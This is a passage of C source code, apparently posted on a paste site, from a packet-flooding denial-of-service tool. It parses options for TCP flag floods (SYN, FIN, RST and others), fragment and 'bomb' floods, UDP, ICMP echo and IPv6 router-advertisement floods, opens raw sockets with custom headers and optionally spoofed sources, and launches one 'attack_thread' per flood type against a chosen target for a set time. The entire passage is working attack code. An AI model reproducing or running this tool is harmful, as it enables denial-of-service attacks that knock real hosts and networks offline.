  730. break;
  731. case 9:
  732. thread_data_array[TCP_FRG].initialized = 1;
  733. thread_data_array[0].a_flags |= TCP_FRG;
  734. thread_data_array[TCP_FRG].a_flags |= TCP_FRG;
  735. thread_data_array[TCP_FRG].datasize = datasize;
  736. break;
  737. }
  738. break;
  739. case 'B':
  740. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  741. bombsize = 64;
  742. if(bombsize == 0)
  743. bombsize = atoi(p + 1);
  744. if(bombsize > 2048)
  745. bombsize = 2048;
  746. switch (atoi(optarg))
  747. {
  748. case 0:
  749. thread_data_array[TCP_BMB].initialized = 1;
  750. thread_data_array[0].a_flags |= TCP_BMB;
  751. thread_data_array[TCP_BMB].a_flags |= TCP_BMB;
  752. thread_data_array[TCP_BMB].bombsize = bombsize;
  753. break;
  754. case 1:
  755. thread_data_array[UDP_BMB].initialized = 1;
  756. thread_data_array[0].a_flags |= UDP_BMB;
  757. thread_data_array[UDP_BMB].a_flags |= UDP_BMB;
  758. thread_data_array[UDP_BMB].bombsize = bombsize;
  759. break;
  760. case 2:
  761. thread_data_array[RAW_BMB].initialized = 1;
  762. thread_data_array[0].a_flags |= RAW_BMB;
  763. thread_data_array[RAW_BMB].a_flags |= RAW_BMB;
  764. thread_data_array[RAW_BMB].bombsize = bombsize;
  765. break;
  766. }
  767. break;
  768. case 'I':
  769. thread_data_array[ICMP6_ROUTERADV].initialized = 1;
  770. thread_data_array[0].a_flags |= ICMP6_ROUTERADV;
  771. thread_data_array[ICMP6_ROUTERADV].a_flags |= ICMP6_ROUTERADV;
  772. break;
  773. case 'R':
  774. thread_data_array[ICMP_ECHO_G].initialized = 1;
  775. thread_data_array[0].a_flags |= ICMP_ECHO_G;
  776. thread_data_array[ICMP_ECHO_G].a_flags |= ICMP_ECHO_G;
  777. break;
  778. case 'U':
  779. thread_data_array[UDP_CFF].initialized = 1;
  780. thread_data_array[0].a_flags |= UDP_CFF;
  781. thread_data_array[UDP_CFF].a_flags |= UDP_CFF;
  782. break;
  783. case 'h':
  784. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  785. {
  786. DestAddress4.sin_family = AF_INET;
  787. inet_pton(AF_INET, optarg, &DestAddress4.sin_addr);
  788. thread_data_array[0].dstaddr = lookup(optarg);
  789. thread_data_array[0].destination4 = DestAddress4;
  790. }
  791. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  792. {
  793. DestAddress6.sin6_family = AF_INET6;
  794. inet_pton(AF_INET6, optarg, &DestAddress6.sin6_addr);
  795. thread_data_array[0].destination6 = DestAddress6;
  796. }
  797. else
  798. {
  799. printf("-4 and -6 can not both be specified.\n\n");
  800. usage(argv[0]);
  801. }
  802. break;
  803. case 'd':
  804. thread_data_array[0].dst_class = optarg;
  805. break;
  806. case 's':
  807. thread_data_array[0].src_class = optarg;
  808. break;
  809. case 'p':
  810. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  811. usage(argv[0]);
  812. thread_data_array[0].d_lport = atoi(optarg); /* Destination start port */
  813. thread_data_array[0].d_hport = atoi(p + 1); /* Destination end port */
  814. break;
  815. case 'q':
  816. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  817. usage(argv[0]);
  818. thread_data_array[0].s_lport = atoi(optarg); /* Source start port */
  819. thread_data_array[0].s_hport = atoi(p + 1); /* Source end port */
  820. break;
  821. case 't':
  822. thread_data_array[0].timeout = atoi(optarg);
  823. break;
  824. case 'w':
  825. window_size = atoi(optarg);
  826. if(window_size > 65535)
  827. window_size = 65535;
  828. thread_data_array[0].window_size = window_size;
  829. break;
  830. default:
  831. usage(argv[0]);
  832. break;
  833. }
  834. }
  835. if (!thread_data_array[0].timeout) {
  836. usage(argv[0]);
  837. }
  838. if (!thread_data_array[0].src_class) {
  839. if(thread_data_array[0].flag6 == 1) {
  840. static char ipstring[3];
  841. strcat(ipstring, ":");
  842. thread_data_array[0].src_class = class2ip6(ipstring);
  843. }
  844. }
  845. if ( (!thread_data_array[0].flag4 && !thread_data_array[0].flag6) ||
  846. (!thread_data_array[0].a_flags) ||
  847. (!thread_data_array[0].timeout)
  848. )
  849. {
  850. usage(argv[0]);
  851. }
  852. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  853. int i;
  854. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  855. if ( thread_data_array[i].initialized == 1 ) {
  856. if ( thread_data_array[i].a_flags <= TCP_FRG ||
  857. thread_data_array[i].a_flags == RAW_BMB ||
  858. thread_data_array[i].a_flags == ICMP_ECHO_G
  859. )
  860. {
  861. if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  862. perror("socket");
  863. exit(-1);
  864. }
  865. }
  866. else if(thread_data_array[i].a_flags == TCP_BMB)
  867. {
  868. if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
  869. perror("socket");
  870. exit(-1);
  871. }
  872. }
  873. else if (thread_data_array[i].a_flags == UDP_BMB || thread_data_array[i].a_flags == UDP_CFF)
  874. {
  875. if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
  876. perror("socket");
  877. exit(-1);
  878. }
  879. }
  880. if (thread_data_array[i].a_flags != UDP_BMB) {
  881. if (setsockopt(thread_data_array[i].socket, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
  882. perror("setsockopt");
  883. exit(-1);
  884. }
  885. }
  886. }
  887. }
  888. printf("[IPv4] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n", thread_data_array[0].dst_class != NULL ? thread_data_array[0].dst_class :inet_ntop(AF_INET,&thread_data_array[0].destination4.sin_addr,thread_data_array[0].DestIP4, sizeof(thread_data_array[0].DestIP4)),thread_data_array[0].src_class != NULL ? thread_data_array[0].src_class :"random",thread_data_array[0].a_flags, thread_data_array[0].timeout);
  889. printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);
  890. }
  891. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  892. int i;
  893. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  894. if ( thread_data_array[i].initialized== 1 ) {
  895. if (thread_data_array[i].a_flags <= TCP_BMB || thread_data_array[i].a_flags == RAW_BMB) {
  896. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP)) < 0) {
  897. perror("socket");
  898. exit(-1);
  899. }
  900. }
  901. else if (thread_data_array[i].a_flags == UDP_BMB || thread_data_array[i].a_flags == UDP_CFF)
  902. {
  903. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_UDP)) < 0) {
  904. perror("socket");
  905. exit(-1);
  906. }
  907. }
  908. else if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
  909. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)) < 0) {
  910. perror("socket");
  911. exit(-1);
  912. }
  913. }
  914. if (thread_data_array[i].a_flags != UDP_BMB) {
  915. if (setsockopt(thread_data_array[i].socket, IPPROTO_IPV6, IPV6_TCLASS, (char *)&on, sizeof(on)) < 0) {
  916. perror("setsockopt");
  917. exit(-1);
  918. }
  919. }
  920. }
  921. }
  922. printf("[IPv6] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n", thread_data_array[0].dst_class != NULL ? thread_data_array[0].dst_class : inet_ntop(AF_INET6,&thread_data_array[0].destination6.sin6_addr,thread_data_array[0].DestIP6, sizeof(thread_data_array[0].DestIP6)),thread_data_array[0].src_class,thread_data_array[0].a_flags,thread_data_array[0].timeout);
  923. printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);
  924. }
  925. signal (SIGINT, handle_exit);
  926. signal (SIGTERM, handle_exit);
  927. signal (SIGQUIT, handle_exit);
  928. thread_data_array[0].start = time(NULL);
  929. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  930. if (thread_data_array[i].a_flags == TCP_FIN) {
  931. thread_data_array[i].thread = i;
  932. thread_data_array[i].packets = 0;
  933. thread_data_array[i].th_flags = TH_FIN;
  934. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  935. printf("+ Thread error:\n");
  936. perror("- pthread_create()\n");
  937. }
  938. }
  939. if (thread_data_array[i].a_flags == TCP_SYN) {
  940. thread_data_array[i].thread = i;
  941. thread_data_array[i].packets = 0;
  942. thread_data_array[i].th_flags = TH_SYN;
  943. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  944. printf("+ Thread error:\n");
  945. perror("- pthread_create()\n");
  946. }
  947. }
  948. if (thread_data_array[i].a_flags == TCP_RST) {
  949. thread_data_array[i].thread = i;
  950. thread_data_array[i].packets = 0;
  951. thread_data_array[i].th_flags = TH_RST;
  952. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  953. printf("+ Thread error:\n");
  954. perror("- pthread_create()\n");
  955. }
  956. }
  957. if (thread_data_array[i].a_flags == TCP_PSH) {
  958. thread_data_array[i].thread = i;
  959. thread_data_array[i].packets = 0;
  960. thread_data_array[i].th_flags = TH_PUSH;
  961. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  962. {
  963. printf("+ Thread error:\n");
  964. perror("- pthread_create()\n");
  965. }
  966. }
  967. if (thread_data_array[i].a_flags == TCP_ACK) {
  968. thread_data_array[i].thread = i;
  969. thread_data_array[i].packets = 0;
  970. thread_data_array[i].th_flags = TH_ACK;
  971. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  972. {
  973. printf("+ Thread error:\n");
  974. perror("- pthread_create()\n");
  975. }
  976. }
  977. if (thread_data_array[i].a_flags == TCP_URG) {
  978. thread_data_array[i].thread = i;
  979. thread_data_array[i].packets = 0;
  980. thread_data_array[i].th_flags = TH_URG;
  981. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  982. {
  983. printf("+ Thread error:\n");
  984. perror("- pthread_create()\n");
  985. }
  986. }
  987. if (thread_data_array[i].a_flags == TCP_ECE) {
  988. thread_data_array[i].thread = i;
  989. thread_data_array[i].packets = 0;
  990. thread_data_array[i].th_flags = TH_SYN;
  991. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  992. {
  993. printf("+ Thread error:\n");
  994. perror("- pthread_create()\n");
  995. }
  996. }
  997. if (thread_data_array[i].a_flags == TCP_CWR) {
  998. thread_data_array[i].thread = i;
  999. thread_data_array[i].packets = 0;
  1000. thread_data_array[i].th_flags = TH_SYN;
  1001. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  1002. {
  1003. printf("+ Thread error:\n");
  1004. perror("- pthread_create()\n");
  1005. }
  1006. }
  1007. if (thread_data_array[i].a_flags == TCP_NOF) {
  1008. thread_data_array[i].thread = i;
  1009. thread_data_array[i].packets = 0;
  1010. thread_data_array[i].th_flags = TH_NOF;
  1011. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  1012. {
  1013. printf("+ Thread error:\n");
  1014. perror("- pthread_create()\n");
  1015. }
  1016. }
  1017. if (thread_data_array[i].a_flags == TCP_FRG) {
  1018. thread_data_array[i].thread = i;
  1019. thread_data_array[i].packets = 0;
  1020. thread_data_array[i].th_flags = TH_NOF;
  1021. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  1022. {
  1023. printf("+ Thread error:\n");
  1024. perror("- pthread_create()\n");
  1025. }
  1026. }
  1027. if (thread_data_array[i].a_flags == TCP_BMB) {
  1028. thread_data_array[i].thread = i;
  1029. thread_data_array[i].packets = 0;
  1030. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  1031. printf("+ Thread error:\n");
  1032. perror("- pthread_create()\n");
  1033. }
  1034. }
  1035. if (thread_data_array[i].a_flags == UDP_BMB) {
  1036. thread_data_array[i].thread = i;
  1037. thread_data_array[i].packets = 0;
  1038. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  1039. printf("+ Thread error:\n");
  1040. perror("- pthread_create()\n");
  1041. }
  1042. }
  1043. if (thread_data_array[i].a_flags == RAW_BMB) {
  1044. thread_data_array[i].thread = i;
  1045. thread_data_array[i].packets = 0;
  1046. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  1047. printf("+ Thread error:\n");
  1048. perror("- pthread_create()\n");
  1049. }
  1050. }
  1051. if (thread_data_array[i].a_flags == UDP_CFF) {
  1052. thread_data_array[i].thread = i;
  1053. thread_data_array[i].packets = 0;
  1054. if(pthread_create(&attack_thread[i], NULL, &send_udp, (void *)&thread_data_array[i]) != 0) {
  1055. printf("+ Thread error:\n");
  1056. perror("- pthread_create()\n");
  1057. }
  1058. }
  1059. if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
  1060. thread_data_array[i].thread = i;
  1061. thread_data_array[i].packets = 0;
  1062. if(pthread_create(&attack_thread[i], NULL, &send_icmp, (void *)&thread_data_array[i]) != 0) {
  1063. printf("+ Thread error:\n");
  1064. perror("- pthread_create()\n");
  1065. }
  1066. }
  1067. if (thread_data_array[i].a_flags == ICMP6_ROUTERADV) {
  1068. thread_data_array[i].thread = i;
  1069. thread_data_array[i].packets = 0;
  1070. if(pthread_create(&attack_thread[i], NULL, &send_icmp_ra, (void *)&thread_data_array[i]) != 0) {
  1071. printf("+ Thread error:\n");
  1072. perror("- pthread_create()\n");
  1073. }
  1074. }
  1075. }
  1076. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  1077. if(attack_thread[i] != 0)
  1078. pthread_join(attack_thread[i], NULL);
  1079. }
  1080. exit(0);
  1081. }
Add Comment
Please, Sign In to add comment